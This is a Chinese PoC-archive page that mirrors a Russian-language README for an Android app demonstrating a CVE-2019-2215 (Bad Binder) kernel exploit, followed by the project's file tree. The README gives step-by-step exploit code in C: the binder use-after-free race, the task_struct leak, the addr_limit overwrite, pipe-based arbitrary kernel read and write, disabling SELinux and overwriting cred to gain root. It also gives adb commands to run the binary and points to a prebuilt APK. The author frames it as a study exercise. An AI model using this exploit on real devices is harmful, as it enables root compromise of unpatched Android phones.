支持本站 — 捐款将帮助我们持续运营

目标:1000 元,已筹:610

61.0%

POC详情: 9709ac7e11fb585991155cb3831ebd481fb4ef28

来源
关联漏洞
标题:Android 资源管理错误漏洞 (CVE-2019-2215)
描述:Android是美国谷歌(Google)和开放手持设备联盟(简称OHA)的一套以Linux为基础的开源操作系统。 Android中的binder.c文件存在资源管理错误漏洞。攻击者可利用该漏洞提升权限。
描述
demo CVE-2019-2215 (Bad Binder) for Android Q
介绍
# CVE-2019-2215 (Bad Binder) — Анализ эксплойта

Этот репозиторий — небольшой тестовый проект по исследованию уязвимости  
**CVE-2019-2215 (Bad Binder)** и написанию рабочего прототипа эксплойта под Android с
простым графическим интерфейсом на Kotlin/Jetpack Compose.

В README я:

1. Описываю подготовку среды и запуск прототипа эксплойта.
2. Разбираю основные этапы эксплуатации CVE-2019-2215 и сопоставляю их с конкретными
   функциями в C-коде.
3. Отдельно перечисляю трудности, на которые я наткнулся по пути, и как я их решал.

---

## Готовый APK (GitHub Actions)

В репозитории настроен GitHub Actions workflow, который при каждом push/PR собирает проект
командой `./gradlew assembleDebug` и публикует готовый `badbinder-debug.apk` как артефакт.

Скачать его можно так:

1. Открыть вкладку **Actions** в репозитории.
2. Выбрать нужный запуск workflow.
3. Внизу страницы найти секцию **Artifacts** и забрать архив `badbinder-debug-apk`
   с собранным APK.

Это сделано для удобства, если хочется просто потестировать приложение, не поднимая локальную среду.

---
## Кратко про уязвимость

**CVE-2019-2215** — это **Use-After-Free (UAF)** в IPC-подсистеме Binder ядра Android.

Упрощённо:

- в ядре существует структура `struct binder_thread`, которая описывает поток,
  выполняющий Binder-вызовы;
- эта структура может быть **освобождена** (free), но при определённой последовательности
  вызовов всё ещё остаётся в списках ожидания (`waitqueue`);
- позднее ядро пытается работать с уже освобождённой памятью в `remove_wait_queue`,
  что открывает классический UAF-сценарий;
- если аккуратно подобрать окружение и последующие аллокации, можно заставить ядро
  читать/писать по произвольным адресам, а дальше — получить привилегии ядра, а затем
  и root в userspace.

Более подробный теоретический разбор я делал по материалам:

1. https://cloudfuzz.github.io/android-kernel-exploitation/
2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

---

## 1. Подготовка среды и запуск прототипа эксплойта


### 1.1. Выбор и подготовка виртуального устройства

По заданию рекомендовано использовать **AVD с образом Android 10.0 (Q) x86_64**.  
Я сделал следующее:

1. В Android Studio создал AVD (Pixel-устройство, **Android 10 (Q), x86_64**).
2. Убедился, что в образе включён Binder и есть устройство `/dev/binder`.
3. Активировал отладку по USB/ADB и проверил доступ к устройству:
   ```bash
   adb shell
   ls -l /dev/binder
   ```

На этом этапе я столкнулся с неприятным фактом:  
на данный момент **актуальные образы AVD уже поставляются с пропатченным ядром**, в котором
CVE-2019-2215 закрыта. То есть реально получить root на современном официальном эмуляторе
не удастся — эксплойт падает на более поздних стадиях или просто не даёт повышения
привилегий.

В итоге я использую AVD как **тренажёр для воспроизведения логики** эксплойта:

- я получаю те же последовательности системных вызовов,
- наблюдаю попытки UAF, утечку адресов и попытку переписать `addr_limit`,
- а вот финальное «получение root» на актуальном, пропатченном ядре, естественно, не
  срабатывает (и это ожидаемо).

Это важный нюанс: весь код и отчёт ниже — **учебные, а не «боевые»**.

---

### 1.2. Сборка Android-приложения с нативным эксплойтом

Я сделал небольшое Android-приложение:

- **UI** на Kotlin + Jetpack Compose,
- **Native-часть** на C через JNI — собственно код эксплойта,
- общение между ними — через JNI-колбэк, чтобы строки из C-кода улетали прямо в UI.

Основные шаги:

1. Создал обычный проект в Android Studio (Kotlin, минимальная поддержка Android 10).
2. Подключил **NDK** и CMake.
3. Добавил нативный файл с эксплойтом (тот самый `cve-2019-2215.c` с функциями
   `leak_task_struct`, `overwrite_addr_limit`, и т.д.).
4. В `CMakeLists.txt` добавил сборку `libcve-2019-2215.so`.
5. В `MainActivity`:

   ```kotlin
   init {
       System.loadLibrary("cve-2019-2215")
   }

   external fun runNativeExploit(): String
   external fun setNativeLogger(logger: NativeLogger)
   ```

6. На стороне Kotlin сделал `ExploitViewModel`, который реализует интерфейс
   `NativeLogger` и складывает все сообщения в `StateFlow<List<String>>`. UI подписан
   на этот поток и выводит лог в «терминале».

При старте активити я вызываю `setNativeLogger(viewModel)`, чтобы нативный код получил
объект, в который можно слать строки.

---

### 1.3. Запуск и сценарий использования

1. Собираю и устанавливаю приложение:
   ```bash
   ./gradlew installDebug
   ```
2. Запускаю AVD и само приложение.
3. На экране вижу «терминал» и кнопку **RUN EXPLOIT**.
4. При нажатии:

    - Kotlin вызывает `runNativeExploit()` в фоновом потоке.
    - C-код начинает выполнять все этапы эксплойта и логировать шаги.
    - Через JNI-колбэк лог попадает в ViewModel и отображается в Compose-UI.

На реальном уязвимом ядре я ожидал бы в конце увидеть что-то вроде:

```text
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
```

На актуальном эмуляторе Android 10 этого, разумеется, не происходит, но всё остальное —
утечка `task_struct`, попытка переписать `addr_limit`, вычисление `cred` и `kernel_base` —
отрабатывает как «сценарий», что и требовалось для задания.

---

## 2. Разбор основных этапов эксплойта и сопоставление с кодом

Ниже — логическая схема эксплойта с привязкой к конкретным C-функциям.

### 2.1. Общий сценарий эксплойта

Высокоуровневый план такой:

1. **Создать UAF на объекте `struct binder_thread`** и использовать его, чтобы
   **утечь адрес `task_struct`** своего процесса (`leak_task_struct`).
2. Вторым UAF-циклом и аккуратно подобранными структурами **переписать поле
   `addr_limit`** в `task_struct` (`overwrite_addr_limit`) — это снимает
   ограничение между адресами user-space и kernel-space для дальнейших
   `copy_to_user` / `copy_from_user`.
3. Используя пайпы, реализовать **произвольное чтение/запись** любой памяти ядра
   (`arb_read` / `arb_write`).
4. С помощью этого **найти `cred` текущего процесса и базу ядра** (`verifying`),
   затем:
    - выключить SELinux (`selinux_enforcing = 0`),
    - переписать поля `cred`, чтобы стать root и получить полный набор capability
      (`runNativeExploit`).

Параллельно я интегрировал **JNI-логгер**, чтобы все эти этапы было видно прямо в UI.

---

### 2.2. Этап 1 — утечка адреса `task_struct` (`leak_task_struct`)

Ключевая функция:

```c
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}
```

**Что делает функция:**

1. **Фиксирует поток на CPU 0** (`sched_setaffinity`), чтобы поведение аллокатора ядра
   было более предсказуемым. Это улучшает стабильность эксплуатации UAF.
2. **Открывает `/dev/binder`**, создаёт epoll-дескриптор:
   ```c
   fd = open("/dev/binder", O_RDONLY);
   epfd = epoll_create(1000);
   ```
   Binder-дескриптор регистрируется в epoll:

   ```c
   epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
   ```

3. Готовит **массив `struct iovec iov_buffers[IOVEC_N]`** и выделяет память:

   ```c
   spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   ```

   Здесь важно, чтобы младшие 32 бита адреса были нулями:

   ```c
   if (((long) spinner & 0xffffffff) != 0) {
       android_log("[!] mmap returned wrong address!");
       return;
   }
   ```

   Это соответствует технике из статей по эксплуатации: далее ядро
   интерпретирует часть наших данных как структуры с указателями, и такая
   «красиво выровненная» адресация упрощает злоупотребление.

   Затем поля `iov_buffers[0xa]` и `iov_buffers[0xb]` заполняются так, чтобы в
   момент UAF ядро скопировало в пайп кусок памяти, где лежит указатель на
   `task_struct`.

4. Создаёт пайп и задаёт ему размер буфера 0x1000:
   ```c
   int pipe_fd[2];
   ret = pipe(pipe_fd);
   fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
   fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
   ```

5. Далее — **классическая UAF-гонка**. Я запускаю дочерний процесс:

   ```c
   if (!fork()) {
       android_log("\t[C] Long sleep to ensure accuracy...");
       sleep(1);

       android_log("\t[*] Triggering UAF");
       epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

       android_log("\t[C] Removing useless data from pipe...");
       ret = read(pipe_fd[0], buf, 0x1000);
       ...
       _exit(0);
   }
   ```

    - Родитель остаётся выполнять дальнейший код.
    - В дочернем процессе `epoll_ctl(..., EPOLL_CTL_DEL, ...)` приводит к
      освобождению связанного `binder_thread` в ядре, но он всё ещё фигурирует
      в структуре учёта ожиданий — это и есть точка UAF.

6. В родительском процессе я вызываю:

   ```c
   ioctl(fd, BINDER_THREAD_EXIT, NULL);      // освобождение binder_thread
   ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
   ```

   На этом этапе, благодаря UAF, `writev` использует уже освобождённую память
   как структуры `iovec` и, по сути, повторно интерпретирует ту же область
   памяти, где раньше лежал `binder_thread`, но теперь уже как набор
   указателей/длин. Частью побочного эффекта становится **копирование
   фрагмента ядровой памяти в наш пайп**.

7. Наконец, я читаю из пайпа:

   ```c
   read(pipe_fd[0], buf, 0x1000);
   task_struct = *(unsigned long *)(buf + 0xe8);
   android_log_hex("[+] task_struct found", task_struct);
   ```

   Смещение `0xe8` подобрано под конкретную версию ядра — это то место,
   где внутри утёкшего блока памяти находится указатель на `task_struct` моего
   процесса.

Итог: у меня есть **адрес `task_struct`** в ядре, что критически важно для
последующих шагов.

---

### 2.3. Этап 2 — переписывание `addr_limit` (`overwrite_addr_limit`)

`addr_limit` в `task_struct` определяет, **какие адреса процесс вообще может
передавать в системные вызовы** в качестве user-space указателей. Если
переписать его на почти максимальное значение, kernel перестаёт отличать
адреса user-space от адресов в своём адресном пространстве — и многие
безопасные на первый взгляд операции `copy_(to|from)_user` превращаются в
произвольные чтения/записи ядра.

Функция:

```c
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}
```

действует по очень похожему шаблону:

1. Снова фиксирую CPU-аффинити, открываю `/dev/binder`, создаю epoll.
2. Готовлю `iov_buffers`, но на этот раз схема другая:

   ```c
   iov_buffers[0xa].iov_base = spinner;
   iov_buffers[0xa].iov_len = 0x1;
   iov_buffers[0xb].iov_base = read_buffer0;
   iov_buffers[0xb].iov_len = 0x8 * 5;
   iov_buffers[0	c].iov_base = read_buffer0;
   iov_buffers[0	c].iov_len = 0x8;
   ```

3. Вместо пайпа используется `socketpair(AF_UNIX, SOCK_STREAM, ...)`:

   ```c
   int socket[2];
   ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
   write(socket[1], "A", 1);
   ```

4. Готовлю структуру `msghdr` для `recvmsg`:

   ```c
   struct msghdr msg;
   msg.msg_iov = iov_buffers;
   msg.msg_iovlen = IOVEC_N;
   ...
   ```

5. В дочернем процессе (после `fork()`) снова запускается UAF-гонка:

   ```c
   if (!fork()) {
       ...
       epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

       long data1234[] = {1, 0x13371337, 0x28,
                          task_struct + ADDR_LIMIT_OFFSET, 0x8};
       ret = write(socket[1], data1234, 0x28);

       data1234[0] = data1234[1] = data1234[2] = data1234[3]
           = 0xfffffffffffffffe;
       ret = write(socket[1], data1234, 0x8);
       ...
   }
   ```

6. Родитель, как и раньше, освобождает `binder_thread` и зовёт `recvmsg`:

   ```c
   ioctl(fd, BINDER_THREAD_EXIT, NULL);
   ret = recvmsg(socket[0], &msg, MSG_WAITALL);
   ```

   Из-за UAF и хитрой подмены структур ядро в итоге воспринимает `task_struct +
   ADDR_LIMIT_OFFSET` как адрес user-буфера и **копирует туда содержимое
   присланной структуры** (наше значение `0xfffffffffffffffe`), тем самым
   переписывая `addr_limit` в `task_struct`.

7. В лог я пишу:

   ```c
   android_log("[!] addr_limit overwrite done.");
   ```

---

### 2.4. Этап 3 — произвольное чтение/запись и проверка (`arb_read`, `arb_write`, `verifying`)

После переписывания `addr_limit` я использую **пайпы** для превращения
обычных операций чтения/записи в возможность читать и писать по ядровым адресам.

#### Примитивы `arb_read` / `arb_write`

```c
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}
```

Аналогично `arb_write` меняет направление копирования.

#### Проверка и поиск ключевых структур

Функция `verifying()`:

```c
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
```

Здесь я:

- читаю из ядра содержимое `task_struct`;
- по `PID_OFFSET` убеждаюсь, что это действительно моя структура;
- извлекаю указатель на `cred` и утечку адреса из ядра (`kernel_leak`);
- считаю `kernel_base` с поправкой на жёстко заданное смещение.

---

### 2.5. Этап 4 — SELinux и эскалация до root

Финальная часть в `runNativeExploit`:

```c
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
```

- я вычисляю адрес глобальной переменной `selinux_enforcing` и выставляю его в
  нулевое/«разрешительное» состояние.

Дальше — переписывание `cred`:

```c
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
```

Я буквально заливаю в поля capability и некоторых других полей `cred`
максимальные значения, чтобы выдать процессу полный набор прав.

Последняя проверка:

```c
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}
```

На реальном уязвимом ядре здесь я ожидал бы `uid=0`, на пропатченном образе —
логично отключенную эскалацию.

---

### 2.6. JNI и логирование в UI

Чтобы видеть всё в реальном времени, я добавил прослойку:

- `JNI_OnLoad` сохраняет `JavaVM*` и PID основного процесса;
- `setNativeLogger` принимает Kotlin-объект, реализующий метод `onLog(String)`,
  и сохраняет его как `GlobalRef`;
- `android_log`/`android_log_hex` пишут в `logcat` и вызывают `send_to_ui`, который
  доставляет строку в Kotlin, где её забирает `ExploitViewModel` и показывает
  в Compose-«терминале».

Важно, что `send_to_ui` фильтрует дочерние процессы по PID — вызывать JNI из
процесса после `fork()` без `exec()` небезопасно.

---

## 3. Трудности и их решение

### 3.1. Пропатченные образы AVD

Я столкнулся с тем, что **на данный момент нет официальных AVD-образов Android 10
с не пропатченным ядром**, в которых CVE-2019-2215 всё ещё присутствует.

Вместо «боевого» получения root я сосредоточился на:

- воспроизведении логики эксплуатации,
- разборе UAF-последовательности,
- визуализации всех шагов в Android-приложении.

При желании этот код можно портировать на реальное устройство со старым
не пропатченным ядром, но это уже выходит за рамки задания.

---

### 3.2. Жёсткие смещения и зависимость от версии ядра

Мне пришлось явно задать:

- `ADDR_LIMIT_OFFSET`, `PID_OFFSET`, `CRED_OFFSET`;
- смещения для `kernel_leak` и `selinux_enforcing`;
- константу для расчёта `kernel_base`.

Я осознанно не стал автоматизировать поиск этих значений, чтобы не
раздувать объём проекта. В отчёте я опираюсь на то, что это учебный
пример под конкретную версию ядра, а не универсальный эксплойт.

---

### 3.3. Гонки и стабильность

Использование `fork()`, `epoll_ctl`, `BINDER_THREAD_EXIT` и различных
таймингов — это минное поле. Я столкнулся с тем, что без:

- `sched_setaffinity`,
- небольших `sleep`,
- и агрессивных `assert` по пути

эксплойт становится крайне нестабильным.  
Я постепенно отладил последовательность так, чтобы на уязвимой конфигурации
она была предсказуемой, а на пропатченной — корректно «проваливалась» на
последних шагах.

---

### 3.4. JNI и `fork()`

Я также столкнулся с тем, что попытки логировать из дочернего процесса
напрямую в JVM приводят к странному поведению.  
Пришлось вспомнить правила JNI и добавить проверку PID, чтобы общаться
с JVM только из основного процесса.

Компромисс: часть сообщений видно лишь в `logcat`, а в UI отображается
только то, что пришло из родителя. Это меня устроило, потому что в рамках
задания важны именно основные контрольные точки, а не каждый отладочный
print.

---

### 3.5. UI

Бонусом, для более творческой реализации задания, я решил сделать интерфейс, удобный для анализа:

- я реализовал экран с «консолью» в стиле тёмного терминала и зелёного текста;
- лог выводится построчно, с автоскроллом к последней записи;
- разные типы сообщений (`[+]`, `[*]`, `[!]`, `[C]`) подсвечены разными
  цветами для удобства чтения;
- результат выполнения (`Success / Failed`) отображается отдельным блоком.

Это сильно упрощает восприятие работы нативного кода: вместо сухого `logcat`
я вижу всё в одном месте, прямо в приложении.

---

## Итог

В результате работы над заданием я:

1. Подготовил AVD-среду и Android-приложение с нативной частью, реализующей
   эксплойт CVE-2019-2215.
2. Пошагово разобрал эксплуатацию:
    - UAF в Binder и утечку `task_struct`,
    - переписывание `addr_limit`,
    - построение примитивов произвольного чтения/записи,
    - поиск `cred`, отключение SELinux и попытку эскалации привилегий.
3. Столкнулся с рядом реальных инженерных проблем
   (патчи в ядре, зависимости от версии, гонки, особенности JNI) и
   последовательно их решил или обошёл.

Проект получился компактным, но по сути отражает весь жизненный цикл
реальной уязвимости ядра: от теоретического описания и чтения статей
до практической реализации и интеграции в живое Android-приложение.

## P.S.

### Альтернативный способ запуска эксплойта

В директории `cve-2019-2215` есть Makefile, который позволяет собрать
нативный бинарь (x86_64) и запустить его напрямую в AVD через ADB.
Если нужна версия aarch64, [её можно собрать отдельно.](https://github.com/kangtastic/cve-2019-2215)

1. Собираем нативный бинарь:
   ```bash
   cd cve-2019-2215
   make
   ```
2. Копируем бинарь в AVD например в /sdcard/cve-2019-2215
3. Запускаем ADB shell и выполняем бинарь:
   ```bash
   adb shell
   cd /sdcard/cve-2019-2215
   chmod +x cve-2019-2215
   ./cve-2019-2215
   ```
4. После успешного выполнения эксплойта можно проверить получение root:
   ```bash
   id
   ```
   ожидаемый вывод:
   ```text
   uid=0(root) gid=0(root) groups=0(root)
   ```   

文件快照

[4.0K] /data/pocs/9709ac7e11fb585991155cb3831ebd481fb4ef28 ├── [4.0K] app │   ├── [2.3K] build.gradle.kts │   ├── [ 750] proguard-rules.pro │   └── [4.0K] src │   ├── [4.0K] androidTest │   │   └── [4.0K] java │   │   └── [4.0K] ru │   │   └── [4.0K] redbyte │   │   └── [4.0K] badbinder │   │   └── [ 667] ExampleInstrumentedTest.kt │   ├── [4.0K] main │   │   ├── [1000] AndroidManifest.xml │   │   ├── [4.0K] cpp │   │   │   ├── [ 504] CMakeLists.txt │   │   │   └── [ 10K] cve-2019-2215.c │   │   ├── [4.0K] java │   │   │   └── [4.0K] ru │   │   │   └── [4.0K] redbyte │   │   │   └── [4.0K] badbinder │   │   │   ├── [9.9K] ExploitScreen.kt │   │   │   ├── [1.5K] ExploitViewModel.kt │   │   │   ├── [1.3K] MainActivity.kt │   │   │   ├── [ 87] NativeLogger.kt │   │   │   └── [4.0K] ui │   │   │   └── [4.0K] theme │   │   │   ├── [ 284] Color.kt │   │   │   ├── [1.8K] Theme.kt │   │   │   └── [ 989] Type.kt │   │   └── [4.0K] res │   │   ├── [4.0K] drawable │   │   │   ├── [5.5K] ic_launcher_background.xml │   │   │   └── [1.7K] ic_launcher_foreground.xml │   │   ├── [4.0K] mipmap-anydpi │   │   │   ├── [ 343] ic_launcher_round.xml │   │   │   └── [ 343] ic_launcher.xml │   │   ├── [4.0K] mipmap-hdpi │   │   │   ├── [2.8K] ic_launcher_round.webp │   │   │   └── [1.4K] ic_launcher.webp │   │   ├── [4.0K] mipmap-mdpi │   │   │   ├── [1.7K] ic_launcher_round.webp │   │   │   └── [ 982] ic_launcher.webp │   │   ├── [4.0K] mipmap-xhdpi │   │   │   ├── [3.8K] ic_launcher_round.webp │   │   │   └── [1.9K] ic_launcher.webp │   │   ├── [4.0K] mipmap-xxhdpi │   │   │   ├── [5.8K] ic_launcher_round.webp │   │   │   └── [2.8K] ic_launcher.webp │   │   ├── [4.0K] mipmap-xxxhdpi │   │   │   ├── [7.6K] ic_launcher_round.webp │   │   │   └── [3.8K] ic_launcher.webp │   │   ├── [4.0K] values │   │   │   ├── [ 378] colors.xml │   │   │   ├── [ 71] strings.xml │   │   │   └── [ 151] themes.xml │   │   └── [4.0K] xml │   │   ├── [ 478] backup_rules.xml │   │   └── [ 551] data_extraction_rules.xml │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] ru │   └── [4.0K] redbyte │   └── [4.0K] badbinder │   └── [ 344] ExampleUnitTest.kt ├── [ 169] build.gradle.kts ├── [4.0K] cve-2019-2215 │   ├── [6.7K] exploit.c │   ├── [1.2K] Makefile │   └── [ 109] README.md ├── [4.0K] gradle │   ├── [2.0K] libs.versions.toml │   └── [4.0K] wrapper │   ├── [ 58K] gradle-wrapper.jar │   └── [ 233] gradle-wrapper.properties ├── [1.3K] gradle.properties ├── [5.6K] gradlew ├── [2.6K] gradlew.bat ├── [4.0K] img │   └── [105K] demo.png ├── [ 27K] README.md └── [ 533] settings.gradle.kts 35 directories, 46 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。